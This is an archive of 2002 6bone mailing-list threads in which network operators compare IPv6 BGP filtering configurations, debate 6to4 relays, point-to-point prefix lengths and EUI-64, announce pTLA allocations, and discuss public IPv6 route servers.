neighbor 3ffe:1ced:ff02::2 prefix-list AS-ARNEILLPY in
neighbor 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY in
The prefix-list is useless as the route-map uses it IMHO.


This is the way I would have done it, comments welcomed.

router bgp 13944
 neighbor 3ffe:1ced:ff02::2 remote-as 23169
 neighbor 3ffe:1ced:ff02::2 description ARNEILLPY
 no neighbor 3ffe:1ced:ff02::2 activate
!
 address-family ipv6
 neighbor 3ffe:1ced:ff02::2 activate
 neighbor 3ffe:1ced:ff02::2 next-hop-self
 neighbor 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY-IN in
 neighbor 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY-OUT out
 exit-address-family
!
ipv6 prefix-list AS-ARNEILLPY seq 5 permit 3ffe:1ced:a002::/48
!
ipv6 prefix-list MYPREFIX seq 5 permit 3ffe:1ced::/32
!
ipv6 prefix-list STRICT seq 5 permit 3ffe::/18 ge 24 le 24
ipv6 prefix-list STRICT seq 10 permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list STRICT seq 15 permit 3ffe:8000::/20 ge 28 le 28
ipv6 prefix-list STRICT seq 20 permit 2001::/16 ge 29 le 35
ipv6 prefix-list STRICT seq 500 deny any
!
ipv6 prefix-list SIXTOFOUR seq 5 permit 2002::/16
!
route-map AS-ARNEILLPY-IN deny 10
 description deny the peer feeding me my own prefix
 match ipv6 address prefix-list MYPREFIX
!
route-map AS-ARNEILLPY-IN permit 20
 description generic filter
 match ipv6 address prefix-list STRICT
!
route-map AS-ARNEILLPY-IN permit 30
 description accept other prefixes, don't redistribute
 match ipv6 address prefix-list AS-ARNEILLPY
 set community no-export additive
!
!
route-map AS-ARNEILLPY-OUT permit 10
 description generic filter
 match ipv6 address prefix-list STRICT
!
route-map AS-ARNEILLPY-OUT permit 20
 description feed _my_ 6to4 route only to the peer
 match ipv6 address prefix-list SIXTOFOUR
 match ** whatever condition that says the 6to4 route is yours **
 set community no-export additive
!


Michel.


From michel@arneill-py.sacramento.ca.us Fri Aug  2 09:25:38 2002
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Oops copy/paste casualty this is missing at the end

route-map AS-ARNEILLPY-OUT permit 30
 description feed my prefix
 match ipv6 address prefix-list MYPREFIX
!


From tvo@EnterZone.Net Fri Aug  2 10:13:43 2002
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On Fri, 2 Aug 2002, Michel Py wrote:

> John,
> 
> > John Fraizier wrote:
> > (We'll use your peering session as an example Michel)
> > Any comments appreciated.
> 
> - I am happy to see the addition of "set community no-export additive".
> 
> - I think you should drop seq 20 2000::/3 ge 16 le 16
> 
> - As someone else mentioned, the "subTLA-only" name might not be
> appropriate.
> 
> - There is overlap in the following two lines:
> neighbor 3ffe:1ced:ff02::2 prefix-list AS-ARNEILLPY in
> neighbor 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY in
> The prefix-list is useless as the route-map uses it IMHO.
> 

Michel, actually, if you look at our config for your peering session, the
prefix-list actually does do something.  Since I use a "canned" route-map
for all peers, I have to use the neighbor 3ffe:1ced:ff02::2 prefix-list
AS-ARNEILLPY in on your peering session.

Notice in the route-map below, it would accept ANY prefix from you and
redistribute it as long as it passed prefix-list subTLA-only.

route-map AS-ARNEILLPY permit 10
 match ipv6 address prefix-list subTLA-only
!
route-map AS-ARNEILLPY permit 20
 match ipv6 address prefix-list AS-ARNEILLPY
 set community no-export additive

Since I'm prefix-list filtering you in the neighbor statement, we will
only allow prefixes from you that pass prefix-list AS-ARNEILLPY to pass on
to the route-map.  Once there, the match in stanza 20 sets the no-export
(in your case.)

This is simply to prevent you from accidently leaking transit routes to
me.

For peers that we do transit:transit peering with, they don't have a
"prefix-list [peername] in" filter and the prefix-list [peername] is
simply used to allow "more specifics" that won't pass the subTLA-only
filter.  Those more specifics are tagged no-export then.

Do you see the reasoning now?  This way, every "transit:transit" peer is
configured the same and every "customer:customer" peer is configured the
same way.  The route-map is the same for every peer, period.  It makes
life more simple.

> 
> router bgp 13944
>  neighbor 3ffe:1ced:ff02::2 remote-as 23169
>  neighbor 3ffe:1ced:ff02::2 description ARNEILLPY
>  no neighbor 3ffe:1ced:ff02::2 activate
> !
>  address-family ipv6
>  neighbor 3ffe:1ced:ff02::2 activate
>  neighbor 3ffe:1ced:ff02::2 next-hop-self
>  neighbor 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY-IN in
>  neighbor 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY-OUT out
>  exit-address-family
> !
> ipv6 prefix-list AS-ARNEILLPY seq 5 permit 3ffe:1ced:a002::/48
> !
> ipv6 prefix-list MYPREFIX seq 5 permit 3ffe:1ced::/32
> !
> ipv6 prefix-list STRICT seq 5 permit 3ffe::/18 ge 24 le 24
> ipv6 prefix-list STRICT seq 10 permit 3ffe:4000::/18 ge 32 le 32
> ipv6 prefix-list STRICT seq 15 permit 3ffe:8000::/20 ge 28 le 28
> ipv6 prefix-list STRICT seq 20 permit 2001::/16 ge 29 le 35
> ipv6 prefix-list STRICT seq 500 deny any
> !
> ipv6 prefix-list SIXTOFOUR seq 5 permit 2002::/16
> !
> route-map AS-ARNEILLPY-IN deny 10
>  description deny the peer feeding me my own prefix
>  match ipv6 address prefix-list MYPREFIX
> !
> route-map AS-ARNEILLPY-IN permit 20
>  description generic filter
>  match ipv6 address prefix-list STRICT
> !
> route-map AS-ARNEILLPY-IN permit 30
>  description accept other prefixes, don't redistribute
>  match ipv6 address prefix-list AS-ARNEILLPY
>  set community no-export additive
> !
> !
> route-map AS-ARNEILLPY-OUT permit 10
>  description generic filter
>  match ipv6 address prefix-list STRICT
> !
> route-map AS-ARNEILLPY-OUT permit 20
>  description feed _my_ 6to4 route only to the peer
>  match ipv6 address prefix-list SIXTOFOUR
>  match ** whatever condition that says the 6to4 route is yours **
>  set community no-export additive
> !
> 
> 
> Michel.


That works fine except that it doesn't prevent you from accidently leaking
transit to us.  We'd gladly accept any route you sent us that passed
prefix-list STRICT.

The one thing I noticed is the deny stanza, something that I forgot in
mine.  I don't know how.  I always do that on our v4 stuff.  I'll have to
modify the route-maps to add that.  Thanks for reminding me!

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |





From tvo@EnterZone.Net Fri Aug  2 10:50:45 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Rik van Riel <riel@conectiva.com.br>
cc: Daniel Austin <daniel@kewlio.net>, 6bone@ISI.EDU
Subject: Re: [6bone] Instability incarnate
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On Thu, 1 Aug 2002, Rik van Riel wrote:

> [enterzone snipped from cc list, it's refusing my mail anyway]
> 

Enterzone isn't the only place blocking your email.  It's nothing
personal.  Our bounce message explains exactly why your mail was blocked
and directs you to the spam blacklist site in question.

> 
> The tunnel you're complaining about was requested by your
> side of the tunnel, not by mine.

Um, I didn't request a tunnel between two points on your side of the
world.

> 
> You're also blocking my email, which makes it kind of
> hard to exchange information on problems.
> 

You mail is being blocked because your mailserver is listed in several
spamsource lists.  See the bounce messages regarding this.  We don't do
spam and don't accept mail from sites that do, period.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From riel@conectiva.com.br Fri Aug  2 12:39:07 2002
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On Fri, 2 Aug 2002, John Fraizer wrote:
> On Thu, 1 Aug 2002, Rik van Riel wrote:

> > You're also blocking my email, which makes it kind of
> > hard to exchange information on problems.
>
> You mail is being blocked because your mailserver is listed in several
> spamsource lists.  See the bounce messages regarding this.  We don't do
> spam and don't accept mail from sites that do, period.

One list according to http://openrbl.org/ and one more
list which you are apparently using.

Unfortunately that list doesn't seem to state its
listing policies online, nor evidence of the message
that caused my ISP's server to be listed.

Note that I'm not against blacklisting, I'm even running
one (dsbl.org) ...

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From pekkas@netcore.fi Fri Aug  2 14:06:15 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
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Subject: RE: [6bone] In the summer time, we got cleaning to do... Where is
 UUNET?
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On Fri, 2 Aug 2002, Michel Py wrote:
> > Why is this a desireable goal?
> 
> Because by announcing 2002::/16 on the 6bone, we create another form of
> anycast. Not only there already is an anycast mechanism, it is very
> seldom used. I do not see any reason to re-create another one.
> 
> Let's make seq 30 optional.

By that you'd implicitly require that every pTLA who wants to communicate 
with 6to4 nodes must also have a 6to4 relay.

That's definitely not something that can be required.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords




From pekkas@netcore.fi Fri Aug  2 14:11:16 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Gert Doering <gert@space.net>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>, <6bone@mailman.isi.edu>
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
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On Fri, 2 Aug 2002, Gert Doering wrote:
> > http://search.ietf.org/internet-drafts/draft-savola-ipv6-127-prefixlen-0
> > 4.txt
> 
> Done.
> 
> I don't agree with many of the conclusions - why would it be "the best"
> solution to assign /64s to ptp links?  There is nothing "good" about /64s.

The "good" about /64's is that this is what protocol's address 
architecture requires.  That's something that future extensions (e.g. 
address based keying for IPSEC) may require.  Therefore it should be the 
first recommendation.
 
> If /127s are not used, what is the benefit of a /112?  Who needs 64k 
> addresses on a ptp link?

To cope with the fact that 128 values have been reserved for anycast (see 
RFC2526), we'd "need" at least /120.  /112 is on the hex boundary so the 
numbers after the last ":" are always the nodes.  There is enough space in 
a /64 to do enough /112's.  It just seems best, if you don't want to use 
e.g. /126 or /64.
 
> The general issue of anycast addresses on ptp links doesn't sound very
> useful either, but this seems to be an unavoidable issue - so thanks 
> for pointing it out, we'll consider moving to /126s.

Once it gets implemented (and especially if it's automatically enabled), 
it could very hairy..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From michel@arneill-py.sacramento.ca.us Fri Aug  2 20:49:04 2002
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>> Michel Py wrote:
>> Because by announcing 2002::/16 on the 6bone, we create another form
of
>> anycast. Not only there already is an anycast mechanism, it is very
>> seldom used. I do not see any reason to re-create another one.
>> Let's make seq 30 optional.

> Pekka Savola wrote:
> By that you'd implicitly require that every pTLA who wants
> to communicate with 6to4 nodes must also have a 6to4 relay.

I think that a good thing. There are no pTLAs that have no v4
connectivity, are there? I would go even further than this: why should
we see 6to4 traffic crossing tunnels half of the world, finally reach an
anycast 6to4 relay somewhere and travel another distance to reach their
v4 target?

I think each site that has ipv4 connectivity should have their own 6to4
relay. It would be much better to have a 6to4 relay close to the source.
I was hoping that by making the 2002::/16 route optional, it would force
people to have their own 6to4 relay. It does not take much:

interface Tunnel6
 description for ipv6 6to4 tunnels
 no ip address
 no ip redirects
 ipv6 address 2002:D1E9:7E41::1/64
 ipv6 traffic-filter IPV6-ACL-OUTSIDE-IN in
 tunnel source BVI35
 tunnel mode ipv6ip 6to4
 tunnel path-mtu-discovery
!
ipv6 route 2002::/16 Tunnel6

Michel.


From tvo@EnterZone.Net Fri Aug  2 23:04:10 2002
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From: John Fraizer <tvo@EnterZone.Net>
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People not honoring "no-export" when redistributing routes:

109 announces 2002::/16 tagged with the "no-export" well-known community.

  109
    3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
    (fe80::806b:f0fe)
      Origin IGP, metric 0, localpref 100, valid, external, best
      Community: no-export
      Last update: Fri Aug  2 23:13:51 2002

The problem is, it appears that many people wipe this out, probably with "set community
none" or "set community nnnn:nnnn" without the "additive" modifier.

Here are a few examples of folks redistributing 109's "no-export" tagged route:

  6175 109
    3ffe:2900:d:e::1 from 3ffe:2900:d:e::1 (208.19.223.30)
    (fe80::d013:df1e)
      Origin IGP, metric 0, localpref 100, valid, external
      Last update: Sat Aug  3 00:10:51 2002

   6342 109 (history entry)
     2001:750:E::5 from 2001:750:E::5 (200.33.111.6)
       Origin IGP, localpref 100, external
       Dampinfo: penalty 10785, flapped 459 times in 15:32:04

   33 109
     3FFE:1200:1002:1::81 from 3FFE:1200:1002:1::81 (204.123.18.254)
       Origin IGP, localpref 100, valid, external
   


I know... Someone is going to say "This is the 6bone.  We're
experimenting.  We're learning."

OK.  Here is a lesson: When you receive a prefix that has no-export
tagged, you don't export it.  If you're running a route-map that clears
communities, it might be a good idea to NOT clear the
(local-AS|no-advertise|no-export) community.  It's being set by the origin
AS for a reason.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From nhua@biigroup.com Fri Aug  2 23:10:13 2002
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> ipv6 prefix-list test1 seq 15 permit 3ffe:8000::/20 ge 28 le 28

From http://www.6bone.net/6bone_pTLA_list.html
28 Bit pTLA Assignments: [3FFE:8000::/24 thru 3FFE:83F0::/24]

then ,
I presume that it should be " ipv6 prefix-list test1 seq 15 permit
3ffe:8000::/22 ge 28 le 28".

Hua Ning



From bmanning@ISI.EDU Sat Aug  3 06:01:41 2002
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Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is UUNET?
In-Reply-To: <2B81403386729140A3A899A8B39B046405E242@server2000.arneill-py.sacramento.ca.us> from Michel Py at "Aug 2, 2 08:48:57 pm"
To: michel@arneill-py.sacramento.ca.us (Michel Py)
Date: Sat, 3 Aug 2002 06:00:38 -0700 (PDT)
Cc: pekkas@netcore.fi, 6bone@ISI.EDU
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% I think each site that has ipv4 connectivity should have their own 6to4
% relay. It would be much better to have a 6to4 relay close to the source.
% I was hoping that by making the 2002::/16 route optional, it would force
% people to have their own 6to4 relay. It does not take much:

Glad you have these thoughts.  I don;t think the same way. Please provide
technical justification for trying to impose your operational world view
on others.  IMHO, 6to4 is an egregious hack that delays v6 migration.
If folks want v6, they should use v6, not be deluded into thinking they
still have v4.

-- 
--bill

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From nicolas.deffayet@ndsoftware.net Sat Aug  3 09:16:02 2002
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Subject: Re: [6bone] In the summer time, we got cleaning to do... Where is
	UUNET?
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Hua Ning <nhua@biigroup.com>
Cc: John Fraizer <tvo@EnterZone.Net>, 6bone@ISI.EDU
In-Reply-To: <017401c23ab4$539eb730$6ef696d3@huaning>
References: 
	<Pine.LNX.4.21.0208010930220.1304-100000@Overkill.EnterZone.Net> 
	<017401c23ab4$539eb730$6ef696d3@huaning>
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On Sat, 2002-08-03 at 08:09, Hua Ning wrote:
> 
> 
> > ipv6 prefix-list test1 seq 15 permit 3ffe:8000::/20 ge 28 le 28
> 
> >From http://www.6bone.net/6bone_pTLA_list.html
> 28 Bit pTLA Assignments: [3FFE:8000::/24 thru 3FFE:83F0::/24]
> 
> then ,
> I presume that it should be " ipv6 prefix-list test1 seq 15 permit
> 3ffe:8000::/22 ge 28 le 28".

Yes.

ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe::/18 ge 24 le 24
ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe:4000::/18 ge 32 le 32
ipv6 prefix-list ipv6-ebgp-full-in permit 3ffe:8000::/22 ge 28 le 28
ipv6 prefix-list ipv6-ebgp-full-in permit 2001::/16 ge 29 le 35
ipv6 prefix-list ipv6-ebgp-full-in permit 2002::/16
ipv6 prefix-list ipv6-ebgp-full-in deny 0::/0

You can deny your prefix too.


From gert@Space.Net Mon Aug  5 14:19:09 2002
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To: Magnus Ahltorp <ahltorp@nada.kth.se>
Cc: Gert Doering <gert@space.net>,
   =?iso-8859-1?Q?Nils_H=F6glund?= <nils@naqua.se>,
   Joao Luis Silva Damas <joao@ripe.net>,
   Michel Py <michel@arneill-py.sacramento.ca.us>,
   Philip Smith <pfs@cisco.com>, Nick Kraal <nick@arc.net.my>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
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Hi,

On Mon, Aug 05, 2002 at 09:05:39PM +0200, Magnus Ahltorp wrote:
> > So?  For those media types you need other rules anyway.  No need to uglify
> > things for the most common multiaccess network type.
> > 
> > A decent approach could have been "put control stuff in the first 16 bits,
> > map the MAC address 1:1 to the next 48 bits".
> 
> EUI-64 happens to be an IEEE standard, and not something that the
> ipngwg has invented. 

The existance of non-useful standards in other areas doesn't mean one 
has to use them for everything else needing 64-bit identifiers.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46631  (46284)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Tue Aug  6 00:14:37 2002
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Hi,

On Tue, Aug 06, 2002 at 01:42:49AM +0200, Magnus Ahltorp wrote:
> > > EUI-64 happens to be an IEEE standard, and not something that the
> > > ipngwg has invented. 
> > 
> > The existance of non-useful standards in other areas doesn't mean one 
> > has to use them for everything else needing 64-bit identifiers.
> 
> When going from EUI-48 to something that is 64-bit, isn't it natural
> to use the 64-bit variant, i.e. the EUI-64? I don't see how that is an
> arbitrary decision.

Well - using EUI-48 was arbitrary as well, and experimental to that.

So when redesigning the whole addressing architecture anyway, I can't
see any need to stay in a family of addressing standards if the "new"
one isn't useful.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46631  (46284)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From kre@munnari.OZ.AU Tue Aug  6 07:12:47 2002
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    Date:        Fri, 2 Aug 2002 09:40:10 +0200
    From:        Gert Doering <gert@space.net>
    Message-ID:  <20020802094010.L27015@Space.Net>

  | If /127s are not used, what is the benefit of a /112?  Who needs 64k 
  | addresses on a ptp link?

No-one, but when written textually, /112 starts looking attractive to
use, and the other 48 bite between /64 and /112 are plenty for any site
to use to number its different p2p's.

The "we need 128 anycast addresses" argument that Pekka made isn't really
very important for this, on a p2p we don't actually need any.  But /112 is
nice to use anyway, and if it keeps people believing that those anycast
addresses are there available, just in case they're needed, then fine...

  | EUI-64 sucks big time (using MAC addresses and such is a nice idea,
  | but why on earth can't they map 48 bits to 64 in a somewhat more
  | straightforward way than "distribute them over all the 64bits"?) 

As someone else pointed out, it is the way that IEEE defined the mapping
for ease of allocation purposes.   I have the impression that we actually
had it right when it was first proposed, when FFFF was inserted instead
of FFFE, when I read the IEEE stuff about this, but it is way too late
to worry about that now.

| The existance of non-useful standards in other areas doesn't mean one
| has to use them for everything else needing 64-bit identifiers. 

No, in geneneral, you're right.

However, here the risk is, as these are all IEEE assigned numbers, that
some new net technology using 64 bit addresses will be developed, and
then some manufacturer will build an ethernet to X bridge/switch, which
converts the addresses on the fly according to the IEEE rules.   Things
would break big time if we'd invented some other way of doing the same
conversion in that scenario.   So, as it is all just bits, and the
mapping doesn't actually matter (we most certainly don't want "control
information" in the middle of addresses), there's nothing to be lost
by doing it the IEEE way (for which there are good reasons in their world)
other than the cost of explaining the reasons over and over again.

kre


From fink@es.net Wed Aug  7 07:07:32 2002
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From: Bob Fink <fink@es.net>
Cc: John.Fraizer@ENTERZONE.NET,
   6bone reverse DNS registration <hostmaster@ep.net>
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ENTERZONE has been allocated pTLA 3FFE:4010::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?ENTERZONE>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From fink@es.net Wed Aug  7 07:07:31 2002
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From: Bob Fink <fink@es.net>
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UACH has been allocated pTLA 3FFE:400F::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?UACH>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From fink@es.net Wed Aug  7 07:40:34 2002
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From: Bob Fink <fink@es.net>
Cc: Christian Huitema <huitema@microsoft.com>
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Subject: [6bone] pTLA for Teredo testing
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6bone Folk,

Trying to gauge consensus on allocating a pTLA to Teredo has been 
difficult. There has been little support for it from the 6bone list, and 
none against it, while most remain silent (unfortunately all too typical).

On the other hand, IESG comments have come from three members (Thomas, 
Randy and Allison) that during the IESG review of Teredo at the end of 
2001, it was determined that there were security concerns, and that they 
think experimental deployment would be inadvisable until the newest Teredo 
specification has been released and given a careful review by the IESG.

Given that the IESG is the senior technical review body of the IETF, I feel 
that I have no prudent choice other than to go along with its wishes and 
not allocate a pTLA for Teredo experimental deployment.

I try to be neutral in the pTLA review oversight role and simply try to 
understand if there is a consensus. In this case, there was not much 
comment one way or another, except for the IESG comments.

I hope that after the new Teredo draft (soon to be published by Christian) 
has been reviewed by the IESG, and is found to no longer raise serious 
technical concerns, that we can reconsider another request for a pTLA.


Thanks,

Bob




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Thread-Topic: [6bone] 6bone pTLA 3FFE:4010::/32 allocated to ENTERZONE
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "6BONE List" <6bone@mailman.isi.edu>
Cc: <John.Fraizer@ENTERZONE.NET>
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John,

Are you going to keep your sTLA from Merit or transfer everyone to your
new pTLA?

Michel.


From tvo@EnterZone.Net Wed Aug  7 14:33:34 2002
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Date: Wed, 7 Aug 2002 17:33:29 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: 6bone@ISI.EDU
Subject: RE: [6bone] 6bone pTLA 3FFE:4010::/32 allocated to ENTERZONE
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On Wed, 7 Aug 2002, Michel Py wrote:

> John,
> 
> Are you going to keep your sTLA from Merit or transfer everyone to your
> new pTLA?
> 
> Michel.


I was unaware that merit was in the sTLA business.  I thought that only
RIRs did that.  If you're talking about 3ffe:1ced::/32, I haven't
decided.  If you would like to move into 3ffe:4010::/32, I will gladly do
that.  I will be moving all tunnel addresses into the pTLA.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From nicolas.deffayet@ndsoftware.net Wed Aug  7 15:43:05 2002
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Date: 08 Aug 2002 00:43:16 +0200
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Subject: [6bone] Build a tunnel with modem/router that filter IP protocol 41
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Hello,

A lot of stupid modem/router filter all traffic that aren't ICMP, TCP,
UDP or GRE.

I will take for example the Eicon ADSL modem because i know 2 peoples
who have this modem and try to have a IPv6 over IPv4 tunnel with it.

This modem work like this:

ISP <-ADSL-> MODEM <-LAN-> COMPUTER
Public IPv4 address is on the modem and all ports are forwarded and NAT
enabled to the computer.

You can read on the eicon website
(http://www.eicon.com/support/helpweb/adsl/vpn.asp):
"The NAT Router built-in to the 24xx series allows only TCP, UDP, GRE,
and ICMP protocols through. Any other protocols are silently dropped for
security reasons."

I did many tests with this 2 peoples and this modem filter the IP
protocol 41 and the IPv6 over IPv4 tunnel don't work.

I wait a reply of Eicon for this.

=> What's the possibility for build a IPv6 over IPv4 with this
modem/router ?

I wait your comments about that.

Best Regards,

Nicolas DEFFAYET


From nicolas.deffayet@ndsoftware.net Wed Aug  7 15:55:23 2002
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Date: 08 Aug 2002 00:55:34 +0200
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Subject: [6bone] IPv6 route server
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Hello,

I opened a public IPv6 route server.

You can try it:

telnet route-server.ndsoftwarenet.net (IPv6 only)

Anyone know another IPv6 route server ?
I can do a how-to if someone want setup a route server with zebra.

Best Regards,

Nicolas DEFFAYET



From tvo@EnterZone.Net Wed Aug  7 16:54:39 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 route server
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Nicolas,

This would be slick if it acted like a route-server.  It only shows your
selected best path from your border router(s) though.

route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
BGP routing table entry for 2001:4f0::/35
Paths: (1 available, best #1, table Default-IP-Routing-Table)
  Not advertised to any peer
  13944
    3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
    (fe80::260:97ff:fe0c:9803)
      Origin IGP, metric 800, localpref 100, valid, internal, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000 65526:1500
      Last update: Thu Aug  8 01:43:08 2002

I really appreciate your taking the time to modify the zebra code and
would like to see a patch against the latest CVS posted to the Zebra
list.

I know that you peer with multiple other people that you should be seeing
alternate paths to the above route via but, the route-server doesn't know
about them.

If you want to see what I mean about the typical route-server showing
multiple paths, telnet to route-views.oregon-ix.net and look up the ipv4
prefix of your choice.

I don't know of anyone else running a telnet accessable route-server for
v6 but, there are several people running my MRLG code with public access.

You can see an example at http://nitrous.ipv6.enterzone.net/


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On 8 Aug 2002, Nicolas DEFFAYET wrote:

> Hello,
> 
> I opened a public IPv6 route server.
> 
> You can try it:
> 
> telnet route-server.ndsoftwarenet.net (IPv6 only)
> 
> Anyone know another IPv6 route server ?
> I can do a how-to if someone want setup a route server with zebra.
> 
> Best Regards,
> 
> Nicolas DEFFAYET
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From tvo@EnterZone.Net Wed Aug  7 17:27:38 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 route server
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On Wed, 7 Aug 2002, John Fraizer wrote:

> You can see an example at http://nitrous.ipv6.enterzone.net/

I almost forgot, it's accessable via v4 and v6.  Something that I feel is
important for a diagnostic tool.  If someone feels the need to look at our
view of the v6 planet, it may very well be because they are having v6
connectivity issues. <grin>

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From daniel@kewlio.net Wed Aug  7 17:36:45 2002
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Subject: Re: [6bone] IPv6 route server
Date: Thu, 8 Aug 2002 01:36:54 +0100
Organization: kewlio.net Limited
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I also have http://www.ipv6.kewlio.net/
a small collection of V6 tools including a copy of John's LG and a peering
matrix.
(reachable by v4/v6)


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "John Fraizer" <tvo@EnterZone.Net>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Cc: <6bone@mailman.isi.edu>
Sent: Thursday, August 08, 2002 1:27 AM
Subject: Re: [6bone] IPv6 route server


>
>
>
> On Wed, 7 Aug 2002, John Fraizer wrote:
>
> > You can see an example at http://nitrous.ipv6.enterzone.net/
>
> I almost forgot, it's accessable via v4 and v6.  Something that I feel is
> important for a diagnostic tool.  If someone feels the need to look at our
> view of the v6 planet, it may very well be because they are having v6
> connectivity issues. <grin>
>
> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
>
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

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From daniel@kewlio.net Wed Aug  7 17:39:57 2002
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Subject: Re: [6bone] IPv6 route server
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Hi John,

I think there's mixed feelings about route servers...

BBNplanet's also only shows best paths - ner-routes.bbnplanet.net (v4 only)

I guess each has its advantages.  Personally, i prefer one that shows all
routes as i have multiple providers and i quite frequently like to check
that both of them are advertising my ip ranges ;-)
I've found a couple of times that 1 of my providers have stopped advertising
my prefixes onto major IX's which i wouldnt be able to see from, for
example, BBNplanet's route server.



With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>


----- Original Message -----
From: "John Fraizer" <tvo@EnterZone.Net>
To: "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
Cc: <6bone@mailman.isi.edu>
Sent: Thursday, August 08, 2002 12:54 AM
Subject: Re: [6bone] IPv6 route server


>
> Nicolas,
>
> This would be slick if it acted like a route-server.  It only shows your
> selected best path from your border router(s) though.
>
> route-server.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> BGP routing table entry for 2001:4f0::/35
> Paths: (1 available, best #1, table Default-IP-Routing-Table)
>   Not advertised to any peer
>   13944
>     3ffe:81f1:0:2::1 from 3ffe:81f1:0:2::1 (62.4.18.114)
>     (fe80::260:97ff:fe0c:9803)
>       Origin IGP, metric 800, localpref 100, valid, internal, best
>       Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
>       Last update: Thu Aug  8 01:43:08 2002
>
> I really appreciate your taking the time to modify the zebra code and
> would like to see a patch against the latest CVS posted to the Zebra
> list.
>
> I know that you peer with multiple other people that you should be seeing
> alternate paths to the above route via but, the route-server doesn't know
> about them.
>
> If you want to see what I mean about the typical route-server showing
> multiple paths, telnet to route-views.oregon-ix.net and look up the ipv4
> prefix of your choice.
>
> I don't know of anyone else running a telnet accessable route-server for
> v6 but, there are several people running my MRLG code with public access.
>
> You can see an example at http://nitrous.ipv6.enterzone.net/
>
>
